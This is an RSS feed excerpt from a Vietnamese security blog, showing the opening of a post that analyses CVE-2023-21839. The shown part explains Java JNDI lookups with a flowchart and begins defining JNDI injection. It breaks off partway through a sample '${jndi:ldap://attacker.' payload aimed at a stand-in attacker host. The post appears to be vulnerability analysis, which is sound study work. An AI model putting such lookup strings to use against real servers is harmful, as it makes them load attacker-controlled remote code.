https://blog.shiba.onl/tags/oracle/Recent content in Oracle on shibajutsuHugovn© shibajutsuTue, 10 Jun 2025 00:00:00 +0700https://blog.shiba.onl/posts/cve-2023-21839/Tue, 10 Jun 2025 00:00:00 +0700https://blog.shiba.onl/posts/cve-2023-21839/Phân tích CVE-2023-21839 Overview JNDI Java Naming Directory Interface là một API của cho phép các ứng dụng Java tìm kiếm, truy xuất và quản lý các đối tượng hoặc tài nguyên được đăng ký trong một hệ thống danh mục. Dưới đây là ví dụ quá trình tìm và sử dụng đối tượng/tài nguyên: flowchart TD A["Khởi tạo Context: new InitialContext()"] --> B["Gọi phương thức lookup()"] B --> C[Kết nối tới dịch vụ Naming/Directory Service] C --> D[Tra cứu đối tượng theo tên] D -- Nếu tìm thấy --> E[Trả về đối tượng] D -- Nếu không tìm thấy --> F[Throw NameNotFoundException] E --> G[Sử dụng đối tượng trong ứng dụng] F --> H[Xử lý lỗi và thông báo] JNDI Injection Là việc kẻ tấn công có thể thao túng quá trình tìm và load đối tượng/tài nguyên (lookup(), ${jndi:ldap://attacker.